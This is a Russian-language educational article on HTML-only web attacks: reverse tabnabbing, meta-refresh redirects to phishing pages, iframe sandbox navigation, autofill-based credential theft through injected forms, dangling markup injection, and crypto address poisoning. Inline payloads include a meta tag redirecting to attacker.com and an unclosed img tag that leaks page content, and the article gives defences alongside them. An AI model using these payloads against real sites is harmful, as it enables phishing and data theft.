Можно ли атаковать, используя только HTML
Даже если для выполнения атаки используется HTML, путем воздействия на JavaScript через "DOM clobbering" или атаку напрямую через "prototype pollution". Цель здесь - нарушить работу существующего кода JavaScript. Даже при внедрении CSS вам все равно потребуется возможность добавления стилей для выполнения атаки, поэтому она не применима в каждой ситуации.
Но что, если у вас есть только HTML и нет ни JavaScript, ни CSS ? Можно ли все равно запустить атаку?
Ответ - да.
Однако важно отметить, что когда мы говорим об "атаках", это не обязательно означает XSS. Например, внедрение CSS для кражи данных также считается атакой, как и облегчение попыток фишинга. Есть много типов уязвимостей, и они обычно оцениваются по степени серьезности и воздействия. Естественно, атаки, осуществляемые только с использованием HTML, могут иметь меньшую серьезность, что является нормальным.
Тем не менее, это все равно интересно, не так ли? Некоторые, казалось бы, незначительные уязвимости могут стать мощными, когда они используются в комбинации. Поэтому, даже если воздействие не высокое, они все равно заслуживают внимания.
В заключение хотелось бы отметить, что некоторые из техник, упомянутых в этой статье, уже исправлены и существуют только в старых браузерах или в истории. Я буду специально упоминать такие случаи.
Reverse Tabnabbing
В чем проблема этого кода?
Это всего лишь гиперссылка. В чем может быть проблема?
Хотя с этим кодом в настоящее время нет проблем, такая маленькая проблема существовала до примерно 2021 года.
Когда вы кликаете на эту ссылку, чтобы перейти на страницу блога, открывается новое окно. На странице блога исходную страницу можно открыть, используя window.opener
. Хотя данные прочитать невозможно из-за разных источников, можно перенаправить исходную страницу, используя window.opener.location = 'http://example.com'
.
Какое это имеет значение?
Рассмотрим практический пример. Предположим, вы просматриваете Facebook и наткнулись на ссылку на статью в одном из постов. Прочитав статью и вернувшись на вкладку Facebook, вы видите сообщение о том, что вы вышли из системы, и вам нужно снова войти. Что вы сделаете?
Я уверен, что некоторые люди войдут снова, потому что это выглядит нормально. Однако на самом деле страница входа - это сайт фишинга. Страница статьи использовала window.opener.location
для перенаправления, а не исходная страница Facebook. Хотя пользователи могут ясно видеть по адресной строке, что это не Facebook, суть в том, что пользователи не ожидают, что исходная страница будет перенаправлена после нажатия на статью.
Этот тип атаки называется reverse tabnabbing, при котором URL-адрес исходной вкладки изменяется через вновь открытую страницу.
Если вы являетесь frontend-разработчиком и у вас установлен ESLint, вы, вероятно, столкнулись с правилом, которое требует, чтобы у гиперссылок было rel="noreferrer noopener"
. Это делается для отделения вновь открытой страницы от исходной страницы, чтобы на новой странице не было opener
, что предотвращает этот тип атаки.
Таким образом, с 2023 года, если вы используете последнюю версию браузера, у вас не будет этой проблемы. Открытие новой гиперссылки не позволит новой странице получить доступ к opener
, поэтому старая страница не будет перенаправлена на странные места.
Перенаправление с помощью meta tags
Один из значений слова "meta" - "self". Например, данные - это информация, а метаданные - это "data that describes data". В контексте веб-страниц meta-tag служит для той же цели, то есть для описания веб-страницы.
Наиболее распространенные метатеги:
Эти теги можно использовать для указания кодировки страницы, свойств области просмотра, описания, заголовка Open Graph и многого другого. Вот для чего используются метатеги.
Помимо этих, есть один атрибут, которым особенно интересуются злоумышленники: http-equiv
. На самом деле, я использовал этот атрибут при демонстрации CSP ранее. Кроме CSP, он также может использоваться для перенаправления веб-страниц:
Поскольку перенаправление возможно, злоумышленник может использовать тег <meta http-equiv="refresh" content="0;url=https://attacker.com" />
, чтобы перенаправить пользователей на свою страницу.
Сценарий схож с reverse tabnabbing, но разница в том, что пользователю не нужно ничего нажимать. Например, предположим, что на сайте электронной коммерции есть страница продукта, которая позволяет использует HTML-комментарии. Я могу оставить комментарий, содержание которого - вышеупомянутый тег <meta>
.
Когда кто-то нажмет на этот продукт, он будет перенаправлен на мою тщательно подготовленную фишинговую страницу, и есть большая вероятность, что он может принять ее за оригинальную страницу и ввести свою информацию о кредитной карте.
Защита от этого типа атаки - фильтрация мета-тегов в пользовательском вводе, что может предотвратить такие атаки.
Атаки с использованием iframe
Тег <iframe>
позволяет встраивать другой вебсайт в свой собственный. Наиболее распространенный пример - система комментариев блога или встраивание видео с YouTube. При обмене видео YouTube вы можете напрямую скопировать HTML, содержащий iframe:
Когда сайт позволяет пользователям вставлять самих себя iframes, это может привести к проблемам. Например, он позволяет вставить фишинговую страницу:
Это всего лишь простой пример, но с более большими усилиями CSS можно настроить, чтобы он соответствовал стилю всего сайта, делая его еще более достоверным.
Более того, iframes могут частично манипулировать внешним сайтом.
Как и в случае с reverse tabnabbing, когда веб-сайт может получать доступ к window
других страниц, он может в основном использовать window.location = '...'
, чтобы изменить навигацию из этого окна на другую страницу.
Для iframes это можно сделать так:
Однако, этот шаг будет заблокирован браузером, и появится следующее сообщение об ошибке:
Как предлагает сообщение об ошибке, поскольку эти два окна не имеют единого происхождения, навигация блокируется. Однако есть способы обойти это. Просто измените iframe так:
Когда у iframe есть атрибут sandbox
, он входит в режим песочницы, где многие функции автоматически отключены и должны быть явно включены. Могут быть включены следующие функции:
allow-downloads
allow-forms
allow-modals
allow-orientation-lock
allow-pointer-lock
allow-popups
allow-popups-to-escape-sandbox
allow-presentation
allow-same-origin
allow-scripts
allow-top-navigation
allow-top-navigation-by-user-activation
allow-top-navigation-to-custom-protocols
В нашем случае включение allow-scripts
означает, что страницы внутри iframe могут выполнять JavaScript, а allow-top-navigation
означает, что они могут перенаправлять страницу верхнего уровня.
Конечная цель - достичь того же эффекта, что и в предыдущем примере с мета, перенаправляя веб-сайт на фишинговую страницу и увеличивая шансы на успешный фишинг.
Что касается защиты, если на сайте не должно быть iframes, убедитесь, что они проходят через фильтры. Если они должны использоваться, не позволяйте пользователям указывать сами атрибут sandbox.
Атаки с помощью form
Что, если сайт позволяет пользователям вставлять элементы, связанные с формами, такие как <form>
?
На самом деле это похоже на вышеупомянутый пример с iframe. Вы можете создать поддельную форму с сопутствующим текстом, сообщающим пользователю, что он вышел из системы и должен снова войти в нее и т.д. Если пользователь заполнит свое имя пользователя и пароль и нажмет "ОК", информация об учетной записи будет отправлена злоумышленнику.
Но возможности форм не ограничены этим. Давайте рассмотрим реальный пример.
В 2022 году специалист по информационной безопасности по имени Гарет Хейс обнаружил уязвимость в infosec Mastodon, где HTML можно было вставлять в твиты. Однако из-за строгой CSP стили не могли быть вставлены, и JavaScript не мог быть выполнен.
В такой сложной среде он использовал форму в сочетании с механизмом автозаполнения Chrome для осуществления атаки. Многие браузеры теперь имеют функцию автоматического запоминания паролей и их автоматического ввода. Ваша поддельная форма - не исключение и будет заполнена уже запомненным именем пользователя и паролем.
Браузеры также умны. Если поля ввода для имени пользователя и пароля преднамеренно скрыты, они не будут автоматически заполнены. Однако, похоже, они недостаточно умны, потому что простая установка прозрачности на 0 может обойти это ограничение.
Но как заставить пользователя нажать кнопку для отправки формы?
Хотя стили использовать нельзя, классы использовать можно! Вы можете украсить поддельную форму существующими на странице классами, чтобы она выглядела похожей на оригинальный интерфейс. Таким образом, она кажется более безопасной и может привлечь внимание пользователя и клики. То же самое относится к прозрачности; можно использовать существующие классы.
Конечный результат выглядит так:
Когда пользователь нажимает кнопку в ячейке, форма с именем пользователя и паролем автоматически отправляется. Иными словами, если пользователь нажимает на кажущуюся обычной иконку, его учетная запись будет украдена!
Dangling Markup Injection
Помимо упомянутых атак, есть еще один метод атаки, называемый инъекцией незакрытой разметки. Его легче понять на примере:
В этом примере мы можем вставить HTML на страницу через строку запроса. Однако проблема в том, что CSP очень строгая и не разрешает JavaScript, CSS, или даже iframes. В таком случае как мы можем украсть данные со страницы?
Мы можем передать: <img src="http://example.com?q=
, ключевой момент в том, что этот тег <img>
не закрыт, и атрибут не заключен в двойные кавычки. После соединения с оригинальным HTML, это становится:
Оригинальный текст на странице <div>Your account balance...
становится частью src
до тех пор, пока он не встречает другую "
, которая закрывает атрибут, а затем встречает >
, которая закрывает тег. Иными словами, используя преднамеренно незакрытый тег, мы успешно делаем содержимое страницы частью URL, которая затем отправляется на наш сервер. Этот тип атаки называется инъекцией незакрытой разметки.
Эта атака полезна, когда Политика Безопасности Контента (CSP) строгая, и вы хотите украсть данные со страницы. Вы можете попробовать эту технику атаки. Однако важно отметить, что у Chrome есть встроенный механизм защиты, который не загружает URL, если в src
или href
присутствуют <
или переносы строк.
Поэтому, если вы выполните вышеуказанный HTML в Chrome, вы увидите, что запрос заблокирован. Однако Firefox в настоящее время не имеет подобного механизма и будет с удовольствием отправлять запрос за вас.
Но если ваша точка инъекции случайно находится внутри <head>
, вы можете обойти ограничения Chrome с помощью <link>
:
Полученный запрос будет:
После декодирования URL вы увидите оригинальный HTML, успешно украв данные.
Заключение
По сравнению с упомянутыми ранее техниками атаки, атака с использованием только HTML имеет более высокий порог. Пользователям может потребоваться нажатие на ссылки или кнопки, и для достижения цели по краже ценных данных может потребоваться сочетание с тщательно подготовленными фишинговыми сайтами и т.д.
Однако, несмотря на это, мы должны признать, что эти методы все еще оказывают влияние, и мы не должны недооценивать атаки, которые направлены на пользовательские привычки.
Например, в мире криптовалюты вы можете перевести 0 единиц валюты с чужого счета на другого человека. Например, Алиса может перевести 0 единиц Бобу, а Петр может передать 0 единиц Алисе. Пока сумма составляет 0 единиц, вы можете перевести ее как угодно, а комиссию за транзакцию платит лицо, инициирующее операцию.
Согласно здравому смыслу, хотя помочь другим перевести деньги странно, кто бы занимался таким делом? Балансы Боба и Алисы не изменятся, и Алиса потеряет 100 единиц на комиссии за транзакцию. Почему он должен это делать?
Но как только это сочетается с обычными привычками пользователя при переводе, это становится интересной техникой атаки.
Адреса счетов в блокчейне представляют собой длинные строки, например: 0xa7B4BAC8f0f9692e56750aEFB5f6cB5516E90570
Поэтому при отображении на интерфейсе, из-за длины, могут отображаться только первые и последние несколько символов, такие как 0xa7B.....0570
, с ...
в середине, чтобы представить опущенные символы. Хотя адреса генерируются случайным образом и почти невозможно сгенерировать одинаковый адрес, если одинаковыми являются только первые и последние несколько цифр, его можно сгенерировать с небольшим затратами времени.
Например, я могу сгенерировать этот адрес: 0xa7Bf48749D2E4aA29e3209879956b9bAa9E90570
Вы заметили, что первые и последние несколько цифр идентичны? Поэтому, когда этот адрес отображается на интерфейсе, он также будет отображаться как 0xa7B....0570
, что точно также как и предыдущий адрес.
И многие пользователи, делая переводы, если они часто переводят на один и тот же адрес, склонны напрямую копировать адрес из истории транзакций, потому что это удобно и быстро. В конце концов, они используют свои собственные кошельки, так как могут быть чужие данные о транзакциях?
Предположим, что адрес кошелька A на бирже выше 0xa7B4BAC8f0f9692e56750aEFB5f6cB5516E90570
, и он отображается как 0xa7B....0570
на интерфейсе, я намеренно создаю адрес кошелька, который одинаков до и после, и использую упомянутую передачу 0-единиц с учетной записью A для перевода на этот поддельный адрес.
С упомянутой выше привычкой пользователя, как только A скопирует и вставит из истории транзакций, будет скопирован поддельный адрес, который я создал, и деньги будут переведены на этот поддельный кошелек.
И на самом деле довольно много людей имеют такую привычку, и даже крупнейшая в мире биржа криптовалют, Binance, была обманута на 20 млн. долларов США в августе 2023 года из-за этой атаки.
Из этого случая мы видим, что некоторые, казалось бы, незначительные вопросы, в сочетании с другими методами эксплуатации, могут стать чрезвычайно мощными.
Last updated